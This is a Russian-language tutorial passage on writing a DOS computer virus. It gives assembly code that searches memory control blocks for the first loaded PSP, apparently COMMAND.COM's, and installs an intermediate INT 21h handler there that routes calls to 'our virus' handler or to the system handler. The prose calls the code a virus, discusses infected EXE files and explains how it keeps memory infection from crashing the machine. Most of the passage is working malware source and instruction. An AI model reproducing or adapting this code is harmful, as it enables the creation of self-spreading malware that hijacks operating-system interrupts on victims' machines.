Пишем промежуточный обработчик

Реализуем предложенный алгоритм

Как мы договорились,сначала следует найти PSP первой загруженной в память программы. Это можно сделать следующим образом:

find_psp: push es ;Найдем первый xor di,di ;PSP в памяти xor ax,ax to_new_seg:inc ax mov es,ax cmp ax,0ffffh ;Этот сегмент - jae free_mem ;последний ? cmp byte ptr es:[di],4dh ;Это - MCB - ;блок ? jne to_new_seg ;Нет ! to_test: mov bx,ax ;Да ! add bx,es:[di+3] inc bx mov es,bx cmp byte ptr es:[di],4dh ;Следующий MCB ;корректен ? je restore_es ;Да ! cmp byte ptr es:[di],5ah jne to_new_seg ;Нет ! restore_es:mov es,ax cmp word ptr es:[di+1],0 ;MCB свободен ? je to_new_seg ;Да ! mov bx,es inc bx cmp es:[di+1],bx jne to_new_seg cmp byte ptr es:[di+10h],0cdh ;После MCB сле- ;дует PSP ? jne to_new_seg ;Нет - тогда он ;нас не интере- ;сует. .. mov first_psp,es ;Да - найдена mov cx,es ;нужная нам dec es_save ;область памяти cmp es_save,cx ;А может, мы на- ;шли свой же ;PSP ? jne add_05h ;Нет ! pop es jmp fresh_input ;Да ! add_05h: add first_psp,05h

Напомним, что PSP располагается в памяти сразу вслед за MCB - блоком,выделенным операционной системой для загрузки программы, а первым байтом PSP должно быть число 0CDh, что и используется в приведенном фрагменте.

Дополнительно следует рассмотреть следующую ситуацию: обычно первым PSP в памяти является PSP командного процессора COMMAND.COM. Но при некоторых конфигурациях операционой системы (например, при использовании WINDOWS 95 в режиме эмуляции MS DOS) это правило иногда не соблюдается. Может случиться так, что первой в файле AUTOEXEC.BAT для загрузки указана нерезидентная EXE - программа, зараженная нашим вирусом.При старте этой программы вирус фактически отыщет ее же PSP и запишет туда текст промежуточного обработчика INT 21h. Далее программа нерезидентно завершится, после чего занимаемая ею память будет использована другими программами, поэтому наш промежуточный обработчик будет затерт, и компьютер обязательно повиснет. Чтобы этого не произошло, вирус проверяет, какой именно PSP был найден первым, и если имела место описанная выше ситуация, отказывается от заражения памяти. В остальном работа фрагмента ясна.

Теперь следует написать " промежуточный " обработчик прерывания INT 21h,который должен вызывать системный или вирусный обработчики данного прерывания в зависимости от режима работы процессора. Эту задачу можно решить, например, так:

to_bios: push ax ;Текст промежу- ;точного push ds ;обработчика ;INT 21h. .. pushf xor ax,ax mov ds,ax cmp word ptr ds:[0006h],0070h ;Int 01h пере- ;хвачено ? jne cs:uuuuu ;JMP на систем- ;ный или вирус- ;ный обработчики ;INT 21h. .. popf pop ds pop ax db 0eah ;На вирусный. .. our_21h_ip dw to_new_21h our_21h_cs dw 00h uuuuu: popf pop ds pop ax db 0eah ;На системный... sys_21h_ip dw 00h sys_21h_cs dw 00h code_len equ $ - to_bios ;Длина обработ- ;чика

Данный фрагмент написан настолько просто, что никаких пояснений по поводу его работы не требуется.